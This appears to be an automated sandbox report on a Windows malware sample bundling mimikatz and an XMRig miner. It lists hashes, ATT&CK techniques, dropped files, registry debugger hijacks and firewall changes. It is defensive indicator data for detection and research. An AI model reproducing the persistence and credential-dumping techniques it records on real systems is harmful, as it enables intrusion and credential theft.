mimikatz | 534aa6796fc815f462509dfa439702ac4b800a94b6fe9adb417f1a3425d191d9

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-01-2025 01:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
Size

9.8MB
MD5

826ed9ff1187c27419e929a1ec8e82cc
SHA1

2ba8c23b39a90cc98d67425693b85b137d90d134
SHA256

534aa6796fc815f462509dfa439702ac4b800a94b6fe9adb417f1a3425d191d9
SHA512

b28c9f5508aa7f685280509717583374b688f02136891af6b41193eb508c3e537b480b812446bc37d0a3081e97f64610c53737707e46989e8f3894630f0fccc4
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1972 created 1380	1972	wlifiji.exe	37

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30827) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/4060-182-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-187-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-204-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-217-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-226-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-235-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-250-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-502-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-503-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-505-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-750-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig
behavioral2/memory/4060-751-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/2464-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/2464-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000a000000023ba8-6.dat	mimikatz
behavioral2/memory/1320-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/5080-138-0x00007FF77CF20000-0x00007FF77D00E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	wlifiji.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	wlifiji.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wlifiji.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4296	netsh.exe
2988	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
1320	wlifiji.exe
1972	wlifiji.exe
3308	wpcap.exe
1844	regnzlibv.exe
5080	vfshost.exe
3032	bteqliisl.exe
2528	xohudmc.exe
2208	qicmew.exe
4060	nfquyl.exe
4448	bteqliisl.exe
5064	wlifiji.exe
3516	bteqliisl.exe
4296	bteqliisl.exe
3324	bteqliisl.exe
4624	bteqliisl.exe
3172	bteqliisl.exe
1120	bteqliisl.exe
1460	bteqliisl.exe
2792	bteqliisl.exe
2808	bteqliisl.exe
3660	bteqliisl.exe
404	bteqliisl.exe
1384	bteqliisl.exe
552	bteqliisl.exe
3944	bteqliisl.exe
1328	bteqliisl.exe
4052	bteqliisl.exe
3476	kbebvutsd.exe
5732	wlifiji.exe

Loads dropped DLL 12 IoCs

pid	Process
3308	wpcap.exe
3308	wpcap.exe
3308	wpcap.exe
3308	wpcap.exe
3308	wpcap.exe
3308	wpcap.exe
3308	wpcap.exe
3308	wpcap.exe
3308	wpcap.exe
1844	regnzlibv.exe
1844	regnzlibv.exe
1844	regnzlibv.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
64	ifconfig.me
65	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\qicmew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EC98FD874C34E9667158FBB7DEFBD82F	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\qicmew.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC98FD874C34E9667158FBB7DEFBD82F	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	wlifiji.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	wlifiji.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	wlifiji.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023c92-134.dat	upx
behavioral2/memory/5080-135-0x00007FF77CF20000-0x00007FF77D00E000-memory.dmp	upx
behavioral2/memory/5080-138-0x00007FF77CF20000-0x00007FF77D00E000-memory.dmp	upx
behavioral2/files/0x0007000000023c9d-141.dat	upx
behavioral2/memory/3032-142-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/3032-150-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/files/0x0007000000023c9a-164.dat	upx
behavioral2/memory/4060-165-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/4448-172-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/3516-180-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4060-182-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/4296-185-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4060-187-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/3324-190-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4624-194-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/3172-198-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/1120-202-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4060-204-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/1460-207-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/2792-211-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/2808-215-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4060-217-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/3660-220-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/404-224-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4060-226-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/1384-229-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/552-232-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/3944-234-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4060-235-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/1328-237-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4052-240-0x00007FF6CA310000-0x00007FF6CA36B000-memory.dmp	upx
behavioral2/memory/4060-250-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/4060-502-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/4060-503-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/4060-505-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/4060-750-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx
behavioral2/memory/4060-751-0x00007FF7B52F0000-0x00007FF7B5410000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\ime\wlifiji.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\tluvwvuph\Packet.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\tluvwvuph\wpcap.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\trch-1.dll	wlifiji.exe
File created	C:\Windows\yqqdgivv\svschost.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\AppCapture32.dll	wlifiji.exe
File opened for modification	C:\Windows\yqqdgivv\schoedcl.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\tluvwvuph\ip.txt	wlifiji.exe
File created	C:\Windows\ysudwuiub\tluvwvuph\wpcap.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\docmicfg.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\svschost.xml	wlifiji.exe
File created	C:\Windows\yqqdgivv\schoedcl.xml	wlifiji.exe
File opened for modification	C:\Windows\yqqdgivv\vimpcsvc.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\Corporate\mimilib.dll	wlifiji.exe
File opened for modification	C:\Windows\yqqdgivv\wlifiji.exe	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\trfo-2.dll	wlifiji.exe
File opened for modification	C:\Windows\yqqdgivv\svschost.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\libxml2.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\vimpcsvc.xml	wlifiji.exe
File opened for modification	C:\Windows\ysudwuiub\tluvwvuph\Result.txt	kbebvutsd.exe
File created	C:\Windows\ysudwuiub\tluvwvuph\kbebvutsd.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\cnli-1.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\spoolsrv.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\docmicfg.xml	wlifiji.exe
File opened for modification	C:\Windows\yqqdgivv\docmicfg.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\vimpcsvc.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\tluvwvuph\scan.bat	wlifiji.exe
File created	C:\Windows\ysudwuiub\Corporate\vfshost.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\tibe-2.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\tucl-1.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\schoedcl.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\Shellcode.ini	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\docmicfg.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\Corporate\mimidrv.sys	wlifiji.exe
File opened for modification	C:\Windows\ysudwuiub\tluvwvuph\Packet.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\posh-0.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\ssleay32.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\schoedcl.xml	wlifiji.exe
File created	C:\Windows\yqqdgivv\vimpcsvc.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\xdvl-0.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\svschost.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\vimpcsvc.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\spoolsrv.xml	wlifiji.exe
File created	C:\Windows\yqqdgivv\docmicfg.xml	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\spoolsrv.xml	wlifiji.exe
File opened for modification	C:\Windows\yqqdgivv\spoolsrv.xml	wlifiji.exe
File created	C:\Windows\yqqdgivv\wlifiji.exe	2025-01-16_826ed9ff1187c27419e929a1ec8e82cc_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\crli-0.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\zlib1.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\svschost.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\schoedcl.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\tluvwvuph\regnzlibv.exe	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\AppCapture64.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\upbdrjv\swrpwe.exe	wlifiji.exe
File opened for modification	C:\Windows\ysudwuiub\Corporate\log.txt	cmd.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\coli-0.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\exma-1.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\libeay32.dll	wlifiji.exe
File created	C:\Windows\ysudwuiub\UnattendGC\specials\ucl.dll	wlifiji.exe
File created	C:\Windows\yqqdgivv\spoolsrv.xml	wlifiji.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1792	sc.exe
3412	sc.exe
768	sc.exe
4480	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

